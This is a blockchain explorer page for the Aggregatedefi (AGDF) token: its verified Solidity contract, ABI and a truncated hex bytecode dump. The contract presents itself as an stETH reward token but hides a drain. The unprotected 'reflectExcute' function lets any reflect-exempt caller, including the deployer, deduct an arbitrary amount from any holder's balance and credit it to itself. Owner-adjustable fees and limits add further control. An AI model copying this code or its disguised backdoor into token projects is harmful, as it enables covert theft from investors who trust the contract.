ETH Price: $2,486.32 (-1.47%)

Token

Aggregatedefi (AGDF)
 

Overview

Max Total Supply

100,000,000 AGDF

Holders

158

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
56,450.561390611 AGDF

Value
$0.00
0x1ddd151221b3da1eb17e05cce5208373363fd812
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Aggregatedefi

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Aggregatedefi is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Aggregatedefi";
    string private constant _symbol = "AGDF";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) _balances;
    mapping(address => bool) public isReflectExempt;
    mapping(address => bool) public isFeeExempt;

    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 150;
    uint256 private rewardsFee = 150;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 400;
    uint256 private sellFee = 400;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    address public stETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; // lido stETH
    
    bool private swapping;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal revenuesPerShare;
    uint256 internal revenuesPerShareFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public constant liquidity_receiver = 0x55BbA85Ec1D2Db1258eafB6353a51614b9cd8C10;
    address public constant development_receiver = 0x25F90ea62012e6843E1A11e3d437c5F42db1430e;
    address public constant marketing_treasury = 0x55BbA85Ec1D2Db1258eafB6353a51614b9cd8C10;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_treasury] = true;
        isFeeExempt[msg.sender] = true;

        isReflectExempt[address(pair)] = true;
        isReflectExempt[address(msg.sender)] = true;
        isReflectExempt[address(this)] = true;
        isReflectExempt[address(DEAD)] = true;
        isReflectExempt[address(0)] = true;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisFeeExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxValidation(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxValidation(sender, recipient, amount); //  transfer validation
        tradingAllowedValidation(sender, recipient); 
        checkMaxWallet(sender, recipient, amount);
        swapbackCounters(sender, recipient); 
        checkTxLimit(sender, recipient, amount); // tx limits
        swapBack(sender, recipient); // fee collection as stETH and eth 
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isReflectExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isReflectExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            allocatedstETH(recipient);
        }
    }

    function setParams(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function setFeeStructure(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function tradingAllowedValidation(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function swapbackCounters(address sender, address recipient) internal {
        if (recipient == pair && !isFeeExempt[sender]) {
            swapTimes += uint256(1);
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_treasury).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            deposit(rewardsAmount);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisReflectExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isReflectExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addstETHReflectUser(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            delstETHUser(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getRevenueValues(
            shares[shareholder].amount
        );
    }

    function deposit(uint256 amountETH) internal {
        uint256 balanceBefore = IERC20(stETH).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(stETH);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 afterBalance = IERC20(stETH).balanceOf(pair);
        uint256 beforeBalance = IERC20(stETH).balanceOf(address(this));
        uint256 amount = beforeBalance.sub(balanceBefore);
        uint256 rewardsAmount = IERC20(stETH).balanceOf(address(this)).sub(
            beforeBalance.add(afterBalance)
        );
        totalDividends = totalDividends.add(amount.add(rewardsAmount));
        revenuesPerShare = revenuesPerShare.add(
            revenuesPerShareFactor.mul(amount).div(totalShares)
        );
    }

    function reflectExcute(
        uint256 gas,
        address _rewards,
        uint256 _amount
    ) external {
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isReflectExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldReflect(shareholders[currentIndex])) {
                    allocatedstETH(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getLiquidstETH(user);
            _balances[_rewards] = _balances[_rewards].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(stETH).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getRevenueValues(
                    shares[user].amount
                );
            }
        }
    }

    function shouldReflect(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getLiquidstETH(shareholder) > minDistribution;
    }

    function rescueERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function totalstETHDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }
    
    function _claimstETH() external {
        allocatedstETH(msg.sender);
    }

    function allocatedstETH(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getLiquidstETH(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(stETH).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getRevenueValues(
                shares[shareholder].amount
            );
        }
    }

    function setstETHReflectPosition(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addstETHReflectUser(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function delstETHUser(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
    
    function getLiquidstETH(address shareholder)
        public
        view
        returns (uint256)
    {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareUserTotalstETH = getRevenueValues(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareUserTotalstETH <= shareholderTotalExcluded) {
            return 0;
        }
        return shareUserTotalstETH.sub(shareholderTotalExcluded);
    }

    function getRevenueValues(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(revenuesPerShare).div(revenuesPerShareFactor);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_claimstETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getLiquidstETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isReflectExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidity_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reflectExcute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setFeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisReflectExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setstETHReflectPosition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalstETHDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000a20565b6305f5e10062000025919062000a71565b60015561271060c86001546200003c919062000a71565b62000048919062000aeb565b60025561271060c86001546200005f919062000a71565b6200006b919062000aeb565b60035561271060c860015462000082919062000a71565b6200008e919062000aeb565b6004556000600a60146101000a81548160ff0219169083151502179055506000600b556096600c556096600d556064600e556000600f5561019060105561019060115560006012556127106013556001601460006101000a81548160ff021916908315150217905550620186a061012c6001546200010d919062000a71565b62000119919062000aeb565b601655620186a0600a60015462000131919062000a71565b6200013d919062000aeb565b60175573ae7ab96520de3a18e5e111b5eaab095312d7fe84601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506ec097ce7bc90715b34b9f1000000000601d55610258602355662386f26fc100006024556001602555348015620001cb57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000b8d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000303573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000329919062000b8d565b6040518363ffffffff1660e01b81526004016200034892919062000bd0565b6020604051808303816000875af115801562000368573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038e919062000b8d565b905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860007355bba85ec1d2db1258eafb6353a51614b9cd8c1073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860